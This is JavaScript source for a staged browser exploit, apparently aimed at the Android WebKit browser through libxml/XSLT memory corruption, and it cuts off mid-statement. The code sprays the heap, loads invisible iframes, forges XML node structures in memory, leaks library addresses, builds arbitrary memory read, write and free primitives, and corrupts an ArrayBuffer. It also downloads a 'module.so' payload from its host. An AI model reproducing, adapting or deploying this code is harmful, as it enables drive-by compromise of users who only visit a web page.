/** @define {boolean} */ var ENABLE_DEBUG = true; var INVISIBLE = true; // [ Logging and utility functions ] ---------------------------------------- // var SEND_LOG = false; var INFO = function(){}; // var ERR = function(){}; var send_info = function(){}; var send_error = function(){}; if (ENABLE_DEBUG === true) { var send_info = function(string) { var req = new XMLHttpRequest(); var formdata = new FormData(); formdata.append("logdata", string); req.open("POST", "log/info", true); req.send(formdata); }; var send_error = function(string) { var req = new XMLHttpRequest(); var formdata = new FormData(); formdata.append("logdata", string); req.open("POST", "log/error", true); req.send(formdata); }; ERR = function(string) { if (string === undefined) { string = "Unspecified error"; } restorebrowserstate(); console.log("EXPLOIT ERROR: " + string); send_error(string); alert("EXPLOIT ERROR: " + string); throw new Error(string); }; INFO = function(string) { console.log(string); if (SEND_LOG === true) { send_info(string); } }; } else { ERR = function() { restorebrowserstate(); do_redirect(); }; } function do_redirect() { window.location.replace("about:blank"); throw Error(); } function restorebrowserstate() { // Attempt to leave the browser in a useable state (not always possible) if (window['g_xsltobj'] !== undefined && window['g_xsltobj'].alive) { window['g_xsltobj'].terminate(); } } function hex(x, pad) { var s = x.toString(16); if (pad === undefined) return s; var pads = Array(pad+1).join("0"); var result = (pads+s).slice(-pads.length); if (s.length > result.length) { return s; } else { return result; } } // [ Convenience spray page handling object ] ------------------------------- // /** * @constructor */ function Page(uint32array, base, index) { // It would be cleaner to work on the underlying ArrayBuffer object // but I've seen problems on some phones with this approach, so let's // stick with 32-bit modifications. if (index === undefined) { index = 0; } this.array = uint32array; this.base = base; this.index = index; this.size = this.array.length * 4; } Page.prototype.write = function (addr, content) { var where = addr - (this.base + 0x8); var what = content; if ((where - this.base)/4 + this.index > this.array.length) { throw new Error("Attempt to write beyond array boundaries"); } if (typeof(what) == "number") { this.array[where/4 + this.index] = what; return; } // Raw byte array var size = Math.floor((what.length + 3) / 4) * 4; // Align to 4 bytes var buffer = new ArrayBuffer(size); var uint8v = new Uint8Array(buffer); var uint32v = new Uint32Array(buffer); for (var i = 0; i < what.length; i++) { uint8v[i] = what[i]; } for (var i = 0; i < uint32v.length; i++) { this.array[where/4 + this.index + i] = uint32v[i]; } }; // Reads a dword. Page.prototype.read = function (addr) { var where = addr - (this.base + 0x8); if ((where - this.base)/4 + this.index > this.array.length) { throw new Error("Attempt to write beyond array boundaries"); } return this.array[where/4 + this.index]; }; // Apply layout (note that this is *not* used when creating the first // spray in order to make it a bit faster) Page.prototype.apply_layout = function(layout) { for (var k = 0; k < layout.length; k++) { var el = layout[k]; this.write(el[0], el[1]); } }; Page.prototype.in_range = function(addr) { var where = addr - (this.base + 0x8); if ((where - this.base)/4 + this.index > this.array.length) { return false; } return true; }; // [ String utility functions ] --------------------------------------------- // // Converts an ASCII string to an integer array which contains each char's byte // value and null-terminates it (with a 0x00 element) // if nullterm is false, the string is not null terminated. function stringtoarray(s, nullterm) { if (nullterm === undefined) { nullterm = true; } var res = []; for (var i = 0; i < s.length; i++) { res.push(s.charCodeAt(i)); } if (nullterm === true) { res.push(0x0); } return res; } // Converts an integer array to a javascript string. Array null-termination is ignored. function arraytostring(arr) { if (arr[arr.length] === 0) { arr.splice(arr.length-1, 1); } return String.fromCharCode.apply(null, arr); } // [ Heap spray functions ] ------------------------------------------------- // // Checks that no value has been defined twice // For now it only works with 32bit values (no raw byte arrays supported) function layout_check(base, layout) { var mem = {}; for (var k = 0; k < layout.length; k++) { var el = layout[k]; var where = el[0] - (base + 0x8); var what = el[1]; if (where in mem) { var adstring = "0x" + base.toString(16) + " + 0x" + where.toString(16); ERR("layout_check ERROR: redefinition of memory address " + adstring + ". " + "Previous definition was 0x" + mem[where].toString()); return false; } mem[where] = what; } return true; } var bigmem = []; function apply_layout(base, page, index, layout) { for (var k = 0; k < layout.length; k++) { var el = layout[k]; var where = el[0] - (base + 0x8); var what = el[1]; if (typeof(what) == "number") { page[where/4 + index] = what; continue; } // Raw byte array var size = Math.floor((what.length + 3) / 4) * 4; // Align to 4 bytes var buffer = new ArrayBuffer(size); var uint8v = new Uint8Array(buffer); var uint32v = new Uint32Array(buffer); for (var i = 0; i < what.length; i++) { uint8v[i] = what[i]; } for (var i = 0; i < uint32v.length; i++) { page[where/4 + index + i] = uint32v[i]; } } } function map_pages(layout, num) { var M1024 = 0xffff4; var SIZE = M1024; for (var i = 0; i < num; i++) { var page; try { page = new Uint32Array(SIZE); bigmem.push(page); } catch (e) { INFO("Can't map more pages (" + i + ")"); for (var j = i - 60; j < i; j++) { // This way the gc might be triggered more easily delete bigmem[j]; bigmem.splice(j, 1); } break; } apply_layout(0, page, 0, layout); } } function search_pages(offset, comparevalue) { for (var i = 0; i < bigmem.length; i++) { var page = bigmem[i]; for (var j = 0; j < 1024; j++) { var data = page[j*1024 + (offset - 0x8)/4]; if (data != comparevalue) { return {data:data, index:i, displ:j}; } } } return null; } // [ xml/xsl and text handling ] -------------------------------------------- // function parseXML(string) { var parser = new DOMParser(); var xml = parser.parseFromString(string, "text/xml"); // TODO error checking return xml; } function loadXML(filename) { var req = new XMLHttpRequest(); req.open("GET", filename, false); req.send(); // TODO error checking return req.responseXML; } function loadtext(filename) { var req = new XMLHttpRequest(); req.open("GET", filename, false); req.send(); // TODO error checking return req.responseText; } // [ Entry point ] ---------------------------------------------------------- // function start(){ // if (!window.confirm("Start?")) return; stage0(); } window["start"] = start; var trk = 0; function redirmessage() { window.setTimeout(function() { var p = document.createElement("p"); p.innerHTML = "Redirecting..."; document.body.appendChild(p); }, 2500); } // [ Stage 0 ] -------------------------------------------------------------- // // Stage 0 sets up the memory so that there are 0x1000 bytes at a controlled // address. The process is stabilized and the address is verified. function stage0() { redirmessage(); var layout = transformlayout(0x0); map_pages(layout, 330); INFO("pages mapped."); find_spray_addr(0x7a703030, 0x79303030, -0x10000); return; } // These functions spray the memory, examine the address space and find // A controlled address where to write exploit data. function stage0_done(n, addr) { INFO("Found address " + hex(addr) + " @ page " + n); // Compute base var base = (addr & 0xffffff00)>>>0; stage1(base, n); return; } function stage0_fail(addr) { ERR("The spray could not be found in memory ( reached " + hex(addr) + ")"); } function transformlayout(base) { // String: "http://www.w3.org/1999/XSL/Transform" // [0x70747468, 0x772f2f3a, 0x772e7777, 0x726f2e33, // 0x39312f67, 0x582f3939, 0x542f4c53, 0x736e6172, // 0x6d726f66] var layout = []; for (var i = 0; i < 16 * 4; i++) { layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x30, 0x70747468]); layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x34, 0x772f2f3a]); layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x38, 0x772e7777]); layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x3c, 0x726f2e33]); layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x40, 0x39312f67]); layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x44, 0x582f3939]); layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x48, 0x542f4c53]); layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x4c, 0x736e6172]); layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x50, 0x6d726f66]); } return layout; } // find_spray_addr performs a search for the XSLT string at address addr. // If it is not found, it keeps incrementing/decrementing the address // by the value increment until either the string is found or the address // stop is hit. Addresses which are not valid XML strings are skipped. function find_spray_addr(addr, stop, increment) { if ((increment >= 0) && (addr > stop)) { stage0_fail(addr); return; } if ((increment <= 0) && (addr < stop)) { stage0_fail(addr); return; } while (((addr & 0xff00) == 0x3c00) || ((addr & 0xff00) == 0x3e00) || ((addr & 0xff0000) == 0x3c0000) || (addr & 0xff0000) == 0x3e0000) { addr = addr + increment; } if ((addr & 0x00ff00)>>>0 < 0x002000) { if (increment > 0) { addr = ((addr & 0xffff00ff)>>>0) ^ 0x002000; } else { addr = ((addr - 0x010000) & 0xffff00ff)>>>0 ^ 0x00007000; } } if ((addr & 0x00ff00) > 0x007a00) { if (increment > 0) { addr = ((addr & 0xffff00ff)>>>0 + 0x10000) ^ 0x002000; } else { addr = (addr & 0xffff00ff)>>>0 ^ 0x007000; } } if ((addr & 0x00ff0000)>>>0 < 0x00200000) { if (increment > 0) { addr = (addr & 0xff00ffff)>>>0 ^ 0x00200000; } else { addr = ((addr - 0x01000000) & 0xff00ffff)>>>0 ^ 0x007a0000; } } if ((addr & 0x00ff0000) > 0x007a0000) { if (increment > 0) { addr = ((addr & 0xff00ffff)>>>0 + 0x1000000) ^ 0x00200000; } else { addr = (addr & 0xff00ffff)>>>0 ^ 0x007a0000; } } var sheetblob = createsheetblob(addr); var docblob = createdocblob(sheetblob.url); var iframe = document.createElement("iframe"); if (INVISIBLE === true) { iframe.style.height = 0; iframe.style.width = 0; iframe.style.border = "none"; } var iframesrc = docblob.url; iframe.src = iframesrc; iframe.onload = function (e) { var url = e.currentTarget.contentWindow.location.href; // var frameaddr = parseInt(url.substring(url.indexOf(prefix) + prefix.length)); if (url != iframesrc) { ERR("PHANTOM BUG: expecting " + iframesrc + ", got " + url); } // INFO("find_spray_addr iframe load " + frameaddr); var htmlelem = e.currentTarget.contentWindow.document.documentElement; if (htmlelem === null || htmlelem.textContent.indexOf("error") != -1) { start_bisect(addr); return; } else { find_spray_addr(addr + increment, stop, increment); return; } }; document.body.appendChild(iframe); return; } function start_bisect(addr) { INFO("starting bisect @ " + hex(addr)); bisect(0, bigmem.length-1, addr); } function bisect_clear(a, b) { for (var j = a; j <= b; j++) { for (var i = 0; i < 16 * 4; i++) { var index = (i * 0x10000 + (i%16) * 0x1000 + 0x30 - 0x8) / 4; bigmem[j][index] = 0; } } } function bisect_putback(a, b) { for (var j = a; j <= b; j++) { for (var i = 0; i < 16 * 4; i++) { var index = (i * 0x10000 + (i%16) * 0x1000 + 0x30 - 0x8) / 4; bigmem[j][index] = 0x70747468; } } } function bisect(a, b, addr) { if (a == b) { stage0_done(a, addr); return; } var n = b - a + 1; var mid = a + (Math.floor(n/2)); bisect_clear(a, mid-1); var bisect_firsthalf = function() { bisect_putback(a, mid-1); bisect(a, mid-1, addr); }; var bisect_secondhalf = function() { bisect_putback(mid, b); bisect(mid, b, addr); }; bisect_check(bisect_firsthalf, bisect_secondhalf, addr); return; } function bisect_check(bisect_firsthalf, bisect_secondhalf, addr) { // INFO("bisect_check " + addr); var iframe = document.createElement("iframe"); var sheetblob = createsheetblob(addr); var docblob = createdocblob(sheetblob.url); // var prefix = "ad.xml?contentId="; var iframesrc = docblob.url; if (INVISIBLE === true) { iframe.style.height = 0; iframe.style.width = 0; iframe.style.border = "none"; } iframe.src = iframesrc; iframe.onload = function (e) { var url = e.currentTarget.contentWindow.location.href; if (url != iframesrc) { ERR("PHANTOM BUG: expecting " + iframesrc + ", got " + url); } var htmlelem = e.currentTarget.contentWindow.document.documentElement; if (htmlelem === null || htmlelem.textContent.indexOf("error") != -1) { bisect_secondhalf(); return; } else { bisect_firsthalf(); return; } }; // alert("ready to insert iframe"); document.body.appendChild(iframe); return; } function toascii(addr) { var arr = [(addr >> 0) & 0xff, (addr >> 8) & 0xff, (addr >> 16) & 0xff, (addr >> 24) & 0xff]; return arraytostring(arr); } function createdocblob(sheeturl) { var doc = ''; return createblob(doc, "application/xml"); } function createsheetblob(addr) { var doc = ""; doc += ""; doc += 'XX'; doc += toascii(addr); // ns->href doc += toascii(addr); // ns->prefix doc += 'XXXX' // ns->_private doc += 'XXXX' // ns->context doc += '">' doc += "" doc += "]>" + "\n" doc += '&cdent;' return createblob(doc, "text/xsl"); } // Blob convenience function function createblob(content, contenttype) { var builder = new WebKitBlobBuilder(); builder.append(content); var blob = builder.getBlob(contenttype); var url = webkitURL.createObjectURL(blob); return {blob: blob, url:url}; } // [ Stage 1 ] -------------------------------------------------------------- // // All fields but the last two are sized 4 // Total size: 60 bytes // type = struct _xmlNode { // 0 void *_private; // 4 xmlElementType type; // 8 const xmlChar *name; // 12 struct _xmlNode *children; // 16 struct _xmlNode *last; // 20 struct _xmlNode *parent; // 24 struct _xmlNode *next; // 28 struct _xmlNode *prev; // 32 struct _xmlDoc *doc; // 36 xmlNs *ns; // 40 xmlChar *content; // 44 struct _xmlAttr *properties; // 48 xmlNs *nsDef; // 52 void *psvi; // 56 short unsigned int line; // size 2 // 58 short unsigned int extra; // size 2 // } function stage1(base, pagenum) { INFO("> [ Stage 1 ]"); var iframe = document.createElement("iframe"); var src = "data.xml?id=" + base.toString(); iframe.src = src; if (INVISIBLE === true) { iframe.style.height = 0; iframe.style.width = 0; iframe.style.border = "none"; } iframe.onload = function (e) { var url = e.currentTarget.contentWindow.location.href; if (e.currentTarget.contentWindow.location.href.indexOf("data.xml?id=") == -1) { ERR("PHANTOM BUG: iframe src and event target don't match! " + url + " expecting " + src); } var xml = iframe.contentWindow.document; if (xml === undefined) { ERR("Cannot process source XML document"); } var XSL = '' + '' + '' + '' + '' + '' + ''; var xsl = parseXML(XSL); INFO("ready to process generate-id stylesheet"); var processor = new XSLTProcessor(); processor.importStylesheet(xsl); var res = processor.transformToDocument(xml); if (res === undefined) { ERR("Cannot process XML with generate-id stylesheet"); } var id = res.getElementsByTagName("data")[0]; var firstid = id.childNodes[0].nodeValue; processor = new XSLTProcessor(); processor.importStylesheet(xsl); res = processor.transformToDocument(xml); if (res === undefined) { ERR("Cannot process XML with generate-id stylesheet a second time"); } id = res.getElementsByTagName("data")[0]; var secondid = id.childNodes[0].nodeValue; INFO(" first id: " + firstid); INFO("second id: " + secondid); if (firstid != secondid) { ERR("No infoleak available " + firstid + " " + secondid); } var documentarea = parseInt(firstid.substring(2)) * 60; INFO("documentarea: " + documentarea.toString(16)); if (documentarea < 0x10000 || documentarea > 0xffffffff) { ERR("Strange infoleak address: " + hex(documentarea)); } xslt_exploit(iframe, xml, base, documentarea, pagenum); }; document.body.appendChild(iframe); } function xslt_exploit(iframe, xml, base, documentarea, pagenum) { documentarea += 56; documentarea += 4; var layout = createstage1layout(base, documentarea); var page = bigmem[pagenum]; // Do spring cleaning and fill this page for (var i = 0; i < 16 * 4; i++) { var index = (i * 0x10000 + (i%16) * 0x1000) / 4; for (var j = 0; j < 40; j++) { page[index - 2 + 0x30/4 + j] = 0; } apply_layout(base, page, index, layout); } var XSL = '' + '' + ' ' + ' ' + ' ' + ' ' + '' + '' + ' ' + ' ' + ' ' + ' ' + ' ' + '' + ''; var xsl = parseXML(XSL); var processor = new XSLTProcessor(); processor.importStylesheet(xsl); var result = processor.transformToDocument(xml); var displ = null; var data = null; for (var j = 0; j < 1024; j++) { data = page[j*1024 + (0x70 + 24 - 0x8)/4]; if (data !== 0) { displ = j; break; } } if (displ === null) { ERR("Modified page not found :("); } // The value (data) MUST be base + 0x44. // This can be used as a server-side check to verify if the next part of the // exploit should be sent. trk += data & 0xff; // trk = 0x44 // Compute page base and reposition var pagebase = ((data & 0xffffff00)>>>0) - displ*1024*4; if (ENABLE_DEBUG) { var dbgstring = "FOUND IT :) " + data.toString(16) + " [index: " + pagenum + ", displ: " + displ + "]" + " pagebase: " + hex(pagebase) + " base: " + hex(base); INFO(dbgstring); } // End of stage0. At this point we have ~4MB completely controlled at a // controlled address and a trashed XML object with a known address on the heap. var pageobj = new Page(page, pagebase, 0); stage2(pageobj, base, iframe, xml, documentarea); } function createstage1layout(base, documentarea) { // Note that the NULLs can actually be removed, they are in place // just as a reminder NOT to change them and to make layout_check // complain if they are redefined // Compute the addresses for the 0x12 node var targetaddr = base + 0x1d0; var taA = (targetaddr >> 0) & 0xff; var taB = (targetaddr >> 8) & 0xff; var taC = (targetaddr >> 16) & 0xff; var taD = (targetaddr >> 24) & 0xff; var dword22 = (taA << 16) | (taB << 24); var dword26 = (taD << 8) | taC; var layout = [ [base + 0x12 + 2, 0x00030000], // node12->type = XML_TEXT_NODE [unaligned +2] [base + 0x12 + 22, dword22], [base + 0x12 + 26, dword26], // node12->next = DTDclear [unaligned +2] [base + 0x12 + 30, 0], [base + 0x12 + 34, 0], // next (struct _xmlNode), doc (struct _xmlDoc) [overlapping] // next is also the first ztX node [base + 0x44 + 4, 1], // ztX->type = XML_ELEMENT_NODE (1) [base + 0x44 + 8, base + 0x1c0], // ztX->name = "ztX" [base + 0x44 + 12, base + 0xf0], // ztX->children = comparetext [base + 0x44 + 24, base + 0x2c8], // ztX->next = next ztX node // IMPORTANT: base + 0x44 + 28 will become cur->prev (base + 0x70) // 0 [base + 0x34 + 44, 0x0], // doc->intSubset = NULL // 0 [base + 0x34 + 48, 0x0], // doc->extSubset = NULL [base + 0x34 + 80, base + 0xb0], // doc->dict // prev: base + 0x70 // IMPORTANT: base + 0x70 + 24 will become cur->next (base + 0x44) // Reference node (struct _xmlNode): base + 0x90 [base + 0x90 + 4, 3], // refnode->type = XML_TEXT_NODE (3) [base + 0x90 + 40, base + 0x1c8], // refnode->content = "\x01\x00" // doc->dict (struct _xmlDict) [base + 0xb0 + 16, base + 0xd0], // doc->dict->strings // 0 [base + 0xb0 + 20, 0x0], // doc->dict->subdict // doc->dict->strings (struct _xmlDictStrings) // 0 [base + 0xd0 + 0, 0x0], // doc->dict->strings->next [base + 0xd0 + 4, 0xefffffff], // doc->dict->strings->free // comparetext (struct _xmlNode) [base + 0xf0 + 4, 3], // comparetext->type = XML_TEXT_NODE (3) [base + 0xf0 + 24, base + 0x16c], // comparetext->next = ELZ [base + 0xf0 + 40, documentarea], // comparetext->content = candidate location (to compare) // children (struct _xmlNode): base + 0x130 [base + 0x130 + 4, 14], // children->type = XML_DTD_NODE (14) // 0 [base + 0x130 + 24, 0x0], // children->next = NULL // 0 [base + 0x130 + 32, 0x0], // children->doc = NULL // ELZ node (struct _xmlNode) [base + 0x16c + 4, 1], // ELZ->type = XML_ELEMENT_NODE (1) [base + 0x16c + 8, base + 0x1c4], // ELZ->name = "ELZ" [base + 0x16c + 12, base + 0x90], // ELZ->children = refnode [base + 0x16c + 24, base + 0x190], // ELZ->next = DTDoverwrite // DTDoverwrite node [base + 0x190 + 4, 14], // DTDoverwrite->type = XML_DTD_NODE [base + 0x190 + 24, base + 0x12], // DTDoverwrite->next = node12 [base + 0x190 + 28, documentarea - 24], // DTDoverwrite->prev = candidate location - offset(next) // Strings [base + 0x1c0, 0x0058747a], // "ztX\0" [base + 0x1c4, 0x005a4c45], // "ELZ\0" [base + 0x1c8, 0x00000001], // "\x01\x00" (reference string) // DTDclear node [base + 0x1d0 + 4, 14], // DTDclear->type = XML_DTD_NODE (14) // 0 [base + 0x1d0 + 24, 0x0], // DTDclear->next = NULL [base + 0x1d0 + 28, documentarea + 1 - 24], // DTDclear->prev = candidate location + 1 - offset(next) ]; var ztbase; for (var i = 2; i <= 15; i++) { ztbase = base + i * 0x100; documentarea -= 4; // Compute the addresses for the 0x12 node targetaddr = ztbase + 0x9c; taA = (targetaddr >> 0) & 0xff; taB = (targetaddr >> 8) & 0xff; taC = (targetaddr >> 16) & 0xff; taD = (targetaddr >> 24) & 0xff; dword22 = (taA << 16) | (taB << 24); dword26 = (taD << 8) | taC; // INFO("tocheck: " + documentarea.toString(16)); // node12 layout.push([ztbase + 0x12 + 2, 0x00030000]); // node12->type = XML_TEXT_NODE (3) [unaligned +2] layout.push([ztbase + 0x12 + 22, dword22]); layout.push([ztbase + 0x12 + 26, dword26]); // node12->next = DTDclear // IMPORTANT: ENSURE CLEANUP between layout applications layout.push([ztbase + 0x12 + 30, 0x0]); // comparetext node layout.push([ztbase + 0x40 + 4, 3]); // comparetext->type = XML_TEXT_NODE (3) layout.push([ztbase + 0x40 + 24, ztbase + 0x6c]); // comparetext->next = ELZ layout.push([ztbase + 0x40 + 40, documentarea]); // comparetext->content = candidate location // ELZ node layout.push([ztbase + 0x6c + 4, 1]); // ELZ->type = XML_ELEMENT_NODE (1) layout.push([ztbase + 0x6c + 8, base + 0x1c4]); // ELZ->name = "ELZ" layout.push([ztbase + 0x6c + 12, base + 0x90]); // ELZ->children = refnode layout.push([ztbase + 0x6c + 24, ztbase + 0xa8]); // ELZ->next = DTDoverwrite // DTDclear node (final XML_DTD_NODE) layout.push([ztbase + 0x9c + 4, 14]); // DTDclear->type = XML_DTD_NODE (14) // 0 layout.push([ztbase + 0x9c + 24, 0x0]); // DTDclear->next = 0 layout.push([ztbase + 0x9c + 28, documentarea + 1 - 24]); // DTDclear->prev = candidate location + 1 - offset(next) // DTDoverwrite node layout.push([ztbase + 0xa8 + 4, 14]); // DTDoverwrite->type = XML_DTD_NODE layout.push([ztbase + 0xa8 + 24, ztbase + 0x12]); // DTDoverwrite->next = node12 layout.push([ztbase + 0xa8 + 28, documentarea - 24]); // DTDoverwrite->prev = candidate location - offset(next) // ztX node layout.push([ztbase + 0xc8 + 4, 1]); // ztX->type = XML_ELEMENT_NODE (1) layout.push([ztbase + 0xc8 + 8, base + 0x1c0]); // ztX->name = "ztX" layout.push([ztbase + 0xc8 + 12, ztbase + 0x40]); // ztX->children = textcompare if (i != 15) { layout.push([ztbase + 0xc8 + 24, ztbase + 0x1c8]); // ztX->next = next ztX node } } return layout; } // [ Stage 2 ] -------------------------------------------------------------- // // stage2 accepts a page object function stage2(page, base, iframe, xml, documentarea) { // Area available: // 0x3fff00 bytes starting at page.base (~4MB). Can't overwrite from pagebase+0x0 to pagebase+0x7. // page is aligned to 0x1000 INFO("> [ Stage 2 ]"); var elementaddr = null; if (page.read(base + 0x12 + 30) !== 0) { elementaddr = documentarea - 4; INFO("Trashed XML_ELEMENT_NODE: " + elementaddr.toString(16)); } for (var i = 2; i <= 15; i++) { var ztbase = base + i * 0x100; if (page.read(ztbase + 0x12 + 30) !== 0) { if (elementaddr === null) { elementaddr = documentarea - i * 4; // Exact address of the trashed XML_ELEMENT_NODE INFO("Trashed XML_ELEMENT_NODE: " + elementaddr.toString(16)); } else { INFO("WARNING: undefined data trashed"); } } } // Create a new base and a document with that base var newbase = base + 0x1100; if (!page.in_range(base + 0x2000)) { newbase = ((page.base & 0xffff0000)>>>0) + 0x10000 + 0x3000; INFO((base + 0x2000).toString(16) + " not in range! reducing to " + newbase.toString(16)); } var iframe2 = document.createElement("iframe"); if (INVISIBLE === true) { iframe2.style.height = 0; iframe2.style.width = 0; iframe2.style.border = "none"; } var src = "data.xml?id=" + base.toString() + "&contentId=" + (newbase + 0x44).toString(); iframe2.setAttribute("src", src); iframe2.onload = function () { // Execute the rest of stage2() INFO("Document loaded."); var xml2 = iframe2.contentWindow.document; if (xml2 === undefined) { ERR("Cannot process source XML document"); } var XSL = '' + '' + '' + '' + '' + '' + ''; var xsl = parseXML(XSL); var processor = new XSLTProcessor(); processor.importStylesheet(xsl); var res = processor.transformToDocument(xml2); if (res === undefined) { ERR("Cannot process XML with generate-id stylesheet"); } var id = res.getElementsByTagName("data")[0]; var firstid = id.childNodes[0].nodeValue; INFO(" first id: " + firstid); var documentarea = parseInt(firstid.substring(2)) * 60; INFO("documentarea: " + documentarea.toString(16)); // ADDED documentarea += 56; documentarea += 4; // Spring cleaning for (var i = 0; i < 0x1000/4; i++) { page.write(newbase + i*4, 0); } // Prepare the layout for the second frame var layout = createstage1layout(base, documentarea); // Ensure that modified memory locations are zeroed out layout.push([base + 0x44 + 28, 0x0]); layout.push([base + 0x70 + 24, 0x0]); for (var i = 2; i <= 15; i++) { layout.push([base + i * 0x100 + 0x12 + 30, 0x0]); } // Connect the stage0 document to the stage 1 new elements // layout.push([base + 0xfc8 + 24, newbase + 0x40]); // add stage1 specific nodes var additions = [ [newbase + 0x800 + 0, 0x006e7572], // "run\0" // run1: overwrite the node type with XML_ELEMENT_NODE [newbase + 0x44 + 4, 0x1], // run1->type = XML_ELEMENT_NODE [newbase + 0x44 + 8, newbase + 0x800], // run1->name = "run" [newbase + 0x44 + 12, newbase + 0x80], // run1->children = DTDoverwritetype [newbase + 0x44 + 24, newbase + 0xb0], // run1->next = run2 // DTDoverwritetype [newbase + 0x80 + 4, 14], // DTDot->type = XML_DTD_NODE [newbase + 0x80 + 28, elementaddr + 4 - 24], // DTDot->prev = trashed->type - offset(next) [newbase + 0x80 + 24, newbase + 0x1], // DTDot->next = node01 // node01 [newbase + 0x1 + 3, [0x0, 3]], // node01->type = XML_TEXT_NODE // run2 [newbase + 0xb0 + 4, 0x1], // run2->type = XML_ELEMENT_NODE [newbase + 0xb0 + 8, newbase + 0x800], // run2->name = "run" [newbase + 0xb0 + 12, newbase + 0xf0], // run2->children = DTDcleartype [newbase + 0xb0 + 24, newbase + 0x130], // run2->next = run3 // DTDcleartype [newbase + 0xf0 + 4, 14], // DTDct->type = XML_DTD_NODE [newbase + 0xf0 + 28, elementaddr + 5 - 24], // DTDct->prev = trashed->type - offset(next) [newbase + 0xf0 + 24, 0x0], // DTDct->next = 0 (ensure) // run3 [newbase + 0x130 + 4, 1], // run3->type = XML_ELEMENT_NODE [newbase + 0x130 + 8, newbase + 0x800], // run3->name = "run" [newbase + 0x130 + 12, newbase + 0x170], // run3->children = DTDoverwritechildren [newbase + 0x130 + 24, newbase + 0x1a0], // run3->next = run4 // DTDoverwritechildren [newbase + 0x170 + 4, 14], // DTDoc->type = XML_DTD_NODE [newbase + 0x170 + 24, page.base + 0x1000], // DTDoc->next = new children node [newbase + 0x170 + 28, elementaddr + 12 - 24], // DTDoc->prev = trashed->children - offset(next) // run4 [newbase + 0x1a0 + 4, 1], // run4->type = XML_ELEMENT_NODE [newbase + 0x1a0 + 8, newbase + 0x800], // run4->name = "run" [newbase + 0x1a0 + 12, newbase + 0x200], // run4->children = DTDoverwritename [newbase + 0x1a0 + 24, base + 0x44], // run4->next = link to stage 1 layout (->next) // DTDoverwritename [newbase + 0x200 + 4, 14], // DTDoc->type = XML_DTD_NODE [newbase + 0x200 + 24, page.base + 0x2000], // DTDoc->next = new name [newbase + 0x200 + 28, elementaddr + 8 - 24], // DTDoc->prev = trashed->name - offset(next) // Ensure that the new children node is 0 [page.base + 0x1000 + 4, 3], // type = XML_TEXT_NODE [page.base + 0x1000 + 24, 0], // next [page.base + 0x1000 + 20, 0], // parent [page.base + 0x1000 + 28, 0], // prev [page.base + 0x1000 + 40, 0], // content [page.base + 0x1000 + 44, 0], // properties // Ensure that the new name is 0 [page.base + 0x2000 + 4, 3], // type = XML_TEXT_NODE [page.base + 0x2000 + 24, 0], // next [page.base + 0x2000 + 20, 0], // parent [page.base + 0x2000 + 28, 0], // prev [page.base + 0x2000 + 40, 0], // content [page.base + 0x2000 + 44, 0], // properties ]; layout.push.apply(layout, additions); page.apply_layout(layout); INFO("Stage2 layout applied."); XSL = '' + '' + ' ' + '' + '' + ' ' + ' ' + ' ' + ' ' + '' + '' + ' ' + ' ' + ' ' + ' ' + ' ' + '' + ''; xsl = parseXML(XSL); processor = new XSLTProcessor(); processor.importStylesheet(xsl); var result = processor.transformToDocument(xml2); // Search the second document address // XXX this is copy-pasted from above, might want to make a function var secondelementaddr = null; if (page.read(base + 0x12 + 30) !== 0) { secondelementaddr = documentarea - 4; INFO("Second trashed (1) XML_ELEMENT_NODE: " + secondelementaddr.toString(16)); if (ENABLE_DEBUG) { INFO("base + 0x12 + 30 = " + hex(page.read(base + 0x12 + 30), 8)); } } for (var i = 2; i <= 15; i++) { var ztbase = base + i * 0x100; if (page.read(ztbase + 0x12 + 30) !== 0) { if (secondelementaddr === null) { secondelementaddr = documentarea - i * 4; // Exact address of the trashed XML_ELEMENT_NODE INFO("Second trashed (loop " + i + ") XML_ELEMENT_NODE: " + secondelementaddr.toString(16)); } else { INFO("WARNING: undefined data trashed " + hex(documentarea - i*4)); } } } var xsltobj = new XSLTObject( page, page.base + 0x1000, page.base + 0x2000, elementaddr, xml ); // Perform a MemoryObject sanity check. Set and retrieve the document name. var dname = "myawesomedocument"; xsltobj.set_root_name(dname); var gname = xsltobj.get_root_name(); if (gname != dname) { ERR("MemoryObject sanity check failed! " + gname); } INFO("MemoryObject created successfully."); // Leak a libwebcore.so string var children = xsltobj.read32(secondelementaddr + 12); var webcoretext = xsltobj.read32(children + 8); INFO("Leaked webcore address: " + webcoretext.toString(16)); // Dispose of the second element xsltobj.zero(secondelementaddr + 8); xsltobj.zero(secondelementaddr + 12); xsltobj.zero(secondelementaddr + 40); stage2_overwrite(xsltobj, page, webcoretext); return; }; document.body.appendChild(iframe2); INFO("Starting module download ..."); var req = new XMLHttpRequest(); // CHANGE MODULE NAME req.open("GET", "module.so", true); req.responseType = "arraybuffer"; req.onreadystatechange = function(e) { if (req.readyState == 4) { if (req.status == 200) { var content = req.response; if (content) { INFO("Module downloaded. " + typeof(content)); window['g_module'] = new DataView(content); } else { INFO("Could not download module"); } } else { window['g_module'] = null; INFO("Could not download module: server returned status " + req.status); } } }; req.send(null); } function stage2_overwrite(xsltobj, page, webcoretext) { var addr = page.base + 0x3000; var nobj = 0; var i; for (var cur = addr; cur < addr + 0x1000; cur += 0x40) { page.write(cur - 4, 16 | 3); page.write(cur + 4, 0x900d); page.write(cur + 16 - 4, (addr + 0x2000 | 3)); // lines up with *children // so it needs to point to a DTD_NODE page.write(cur + 24, cur + 0x40); nobj += 1; } page.write(cur - 0x40 + 24, 0x0); page.write(addr + 0x2004, [0x00, 0x00, 0x00, 14]); // DTD_NODE xsltobj.free(addr); INFO("Array free() done. Addr = " + hex(addr) + " Cur = " + hex(cur)); var arrays = []; for (i = 0; i < nobj * 3; i++) { arrays.push(new ArrayBuffer(0xbad)); } for (var cur = addr; cur < addr + 0x1000; cur += 0x40) { if (page.read(cur + 4) == 0xbad) { page.write(cur + 4, 0xffffffff); page.write(cur + 8, 0x0); INFO("Overwrite ArrayBuffer @" + cur.toString(16)); break; } } var buffer = null; for (i in arrays) { if (arrays[i].byteLength != 0xbad) { INFO("arrays[" + i + "].byteLength = " + arrays[i].byteLength.toString(16)); buffer = arrays[i]; INFO("Found array (position: " + i + 